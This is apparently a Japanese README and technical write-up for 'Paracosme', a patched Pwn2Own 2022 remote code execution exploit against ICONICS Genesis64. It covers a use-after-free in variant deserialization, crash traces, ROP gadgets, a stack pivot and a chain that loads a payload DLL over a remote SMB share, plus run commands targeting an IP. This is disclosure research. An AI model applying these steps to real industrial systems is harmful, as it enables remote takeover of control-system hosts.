
Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition.
Paracosme は、ICONICS 製の Genesis64 スイート v10.97.1 を標的として私が作成したメモリ破壊エクスプロイトで、リモートコード実行を実現します。
このエクスプロイトは、S4x22 Conference で開催された Pwn2Own 2022 Miami コンテストで実演されました。詳細は、Pwn2Own ICS 2022 Miami に参加する: ICONICS Genesis64 におけるゼロクリックリモートメモリ破壊の悪用 で読むことができます。
この問題は CVSS で 9.8 と評価され、CVE-2022-33318 / ZDI-22-1041 が割り当てられました。これは修正され、Genesis64 10.97.2 で修正されました。ICSA-22-202-04 勧告と、ICONICS の ICONICS Suite のセキュリティ脆弱性に関するホワイトペーパー も読むことができます。
エクスプロイトコードは src/paracosme.py、クラッシュを引き起こす / 影響を受けるかどうかを確認する PoC は src/paracosme-poc.py、マシン上で実行されるペイロードは src/payload にあります。
影響を受けているかどうかを確認する最良の方法は、GenBroker64.exe に対して Page Heap を有効にし、サービスを再起動し、GenBroker64.exe にデバッガをアタッチし、サーバに対して paracosme-poc.py を実行することです。以下のようなクラッシュが発生するはずです:
クラッシュを確認するには、ターゲットプロセスにデバッガをアタッチする必要があります。そうしないと、アプリケーションはそれを無視します。
このエクスプロイトは Windows でのみテストされていますが、Linux プラットフォームでも動作するはずです:
impacket をインストールします: pip3 install impacketsc config lanmanserver start=disabled でマシン上で実行中の SMB サーバを無効にし、再起動しますimpacket のサンプルに含まれる smbserver.py で smbserver を起動します: python src\smbserver.py -smb2support x binpython src\paracosme.py --target <ip> でエクスプロイトを起動します
詳細については、Pwn2Own ICS 2022 Miami に参加する: ICONICS Genesis64 におけるゼロクリックリモートメモリ破壊の悪用 を参照してください。
Paracosme は、GenBroker64 プロセスで見つかった use-after-free の問題を悪用して、Windows 21H2 x64 システム上でリモートコード実行を実現します。
大まかに言うと、GenBroker64 プロセスは TCP ポート 38080 で待ち受けし、クライアントとのハンドシェイク後にさまざまなパケットを逆シリアル化できます。私が見つけた問題は、ネットワークソケットから VARIANT を読み取る処理のコードにあります。基本的に variant は型と値です。この関数は一見すると適切に書かれており、特定の型のみをアンパックするように注意しています。そのコードは次のようになります:
bool CheckVariantType(VARTYPE VarType) {
if((VarType & 0x2FFF) != VarType) {
return false;
}
switch(VarType & 0xFFF) {
case VT_EMPTY:
case VT_NULL:
case VT_I2:
case VT_I4:
case VT_R4:
case VT_R8:
case VT_CY:
case VT_DATE:
case VT_BSTR:
case VT_ERROR:
case VT_BOOL:
case VT_VARIANT:
case VT_I1:
case VT_UI1:
case VT_UI2:
case VT_UI4:
case VT_I8:
case VT_UI8:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
case VT_FILETIME:
return true;
break;
default:
return false;
}
}
size_t VariantTypeToSize(VARTYPE VarType) {
switch(VarType) {
case VT_I1: return 1;
case VT_UI2: return 2;
case VT_UI4:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
return 4;
case VT_I8:
case VT_UI8:
case VT_FILETIME:
return 8;
default:
return 0;
}
}
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
VARTYPE VarType = Archive.ReadUint16();
if((VarType & VT_ARRAY) != 0) {
// Special logic to unpack arrays..
return ..;
}
Size = VariantTypeToSize(VarType);
if (Size) {
Variant->vt = VarType;
return Archive.ReadInto(&Variant->decVal.8, Size);
}
if(!CheckVariantType(VarType)) {
// ...
throw Something();
}
return Archive >> Variant;
}
この関数は、配列のアンパックと単純な variant 型の読み取りを自前で実装していますが、これら2つのいずれでもないものを受け取った場合は、archive インスタンスの operator>> に処理を委ねます。この archive インスタンスは、さまざまなオブジェクトのシリアル化と逆シリアル化を処理する Microsoft Foundation Class フレームワークによって提供されるオブジェクトです。このコードは実際にはオープンソースであり、C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp にありますが、ここに示します:
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
LPVARIANT pSrc = &varSrc;
// ...
switch(pSrc->vt) {
// ...
case VT_DISPATCH:
case VT_UNKNOWN: {
LPPERSISTSTREAM pPersistStream = NULL;
CArchiveStream stm(&ar);
CLSID clsid;
ar >> clsid.Data1;
ar >> clsid.Data2;
ar >> clsid.Data3;
ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
END_CATCH_ALL
pPersistStream->Release();
}
return ar;
}
}
この関数は、単純な型をアンパックするロジックもあるため、ほとんど平凡ですが、私の注意を引いたのは VT_DISPATCH / VT_UNKNOWN でした。
何だこれは? IPersistStream または IPersistStreamInit を実装する任意の COM オブジェクトのクラス ID を送信でき、IPersistream::Load を呼び出してオブジェクトを初期化することでそれをロードします。これは驚くべきことであり、奇妙な機能ですが、標準の Windows 10 で利用可能な COM オブジェクトに別のバグを見つける必要があるため、セキュリティの観点からはあまり興味深いとは思いませんでした。
では、以下のコードを詳しく見てみましょう:
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal); <-------------- [[0]]
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
CoCreateInstance の呼び出しは、COM インスタンスポインタを pSrc->punkVal に直接書き込みます。これは、数フレーム先の呼び出し元に保存される結果の variant です。次に、IStreamPersist::Load が例外をトリガーすると、それがキャッチされ、IUnknown と IPersistStream の両方のインターフェイスで IUnknown::Release が呼び出され、COM オブジェクトが解放されて pSrc->punkVal がダングリングポインタになります。もう1つの興味深い点は、その後に catch ブロックが例外を再スローし、それが以下のコードによってキャッチされることです:
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
この段階で、variant はすでに解放されていますが、その型と値は更新 / 変更されていないため、この VariantClear の呼び出しは2回目の IUnknown::Release をトリガーし、以下のクラッシュが発生します:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01 mov rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????
0:006> kp
# Child-SP RetAddr Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21
やった、これはかなり素晴らしい。上記は、IPersistStream を実装する COM オブジェクトをインスタンス化し、Load が呼び出されたときに例外をトリガーさせることで発生させられます。トリガーコードは paracosme-poc.py にあり、ターゲット上の GenBroker64.exe プロセスをクラッシュさせるはずです。また、GenBroker64.exe でページヒープを有効にすると、即座にクラッシュを確認できます。
variant に対して VariantClear が呼び出されると、それを解放するために Release メソッドへの仮想呼び出しがディスパッチされます。これは仮想呼び出しであるため、関数は vtable を読み取り、固定オフセットにある関数ポインタを取得して呼び出します。その前に、ole32!CFileMoniker インスタンスを再利用して制御データに置き換えるためにスレッドを競合させます (RacerThread_t を参照)。その結果、vtable ポインタを制御でき、RIP を乗っ取るまであと1命令のところまで到達します。以下は、@rcx が完全に制御できるチャンクを指しているときの対応するアセンブリ命令です:
0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb mov rax,qword ptr [rcx]
00007ffb`0df751ce mov rax,qword ptr [rax+10h]
00007ffb`0df751d2 call qword ptr [00007ffb`0df82660]
0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40 jmp rax
再利用したチャンクを完全に制御できるため、@rax も制御できます。制御フローを乗っ取るには、@rip を乗っ取るために使用する値へのポインタに @rax を設定する必要があります。ここでの大きな問題は ASLR であり、情報漏洩がありません。
幸いなことに、GenBroker64.exe モジュールには動的ベースがありません。つまり、チェーンを開始するための興味深いガジェットを指す場所を見つけるために、このモジュールを使用できます。
0:012> !dh genbroker64
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
8664 machine (X64)
7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021
0 file pointer to symbol table
0 number of symbols
F0 size of optional header
22 characteristics
Executable
App can handle >2gb addresses
OPTIONAL HEADER VALUES
High entropy VA supported
NX compatible
Terminal server aware
最初に使用するガジェットは、(間接参照なしで) @rip を完全に制御できるようにするガジェットです:
0:011> u poi(1400aed18)
00007ffb2137ffe0 sub rsp,38h
00007ffb2137ffe4 test rcx,rcx
00007ffb2137ffe7 je 00007ffb`21380015
00007ffb2137ffe9 cmp qword ptr [rcx+10h],0
00007ffb2137ffee jne 00007ffb`2137fff4
...
00007ffb2137fff4 and qword ptr [rsp+40h],0
00007ffb2137fffa mov rax,qword ptr [rcx+10h]
00007ffb2137fffe call qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]
次に使用するガジェットのアドレスは、再利用するチャンク (@rcx が指す) のオフセット +0x10 に配置できるため、これは素晴らしいです。
2番目に使用するガジェットは、スタックを完全に制御できる再利用済みヒープチャンクにピボットします:
0:008> u 14005bd25
000000014005bd25 mov esp,ecx
000000014005bd27 cmp byte ptr [1400fe788],0
000000014005bd2e je 000000014005bebc
...
000000014005bebc lea r11,[rsp+60h]
000000014005bec1 mov rbx,qword ptr [r11+30h]
000000014005bec5 mov rbp,qword ptr [r11+38h]
000000014005bec9 mov rsi,qword ptr [r11+40h]
000000014005becd mov rsp,r11
000000014005bed0 pop r15
000000014005bed2 pop r14
000000014005bed4 pop r13
000000014005bed6 pop r12
000000014005bed8 pop rdi
000000014005bed9 ret
面白いことに、ヒープチャンクのアドレスは、(常に?) 32ビット整数に収まる場所に配置されるようです。そのため、mov esp, ecx が正しく機能します。
この時点で ROP は手に入りましたが、スペースがそれほど多くないため、かなりもどかしかったです。私は星を整列させることに多くの時間を費やし、最終的に、ペイロードをホストする DLL ファイルを指すリモート SMB パスを指定して LoadLibraryW を呼び出す一連のガジェットを考案しました。チェーンの詳細に興味がある場合は、paracosme.py@241 を参照してください。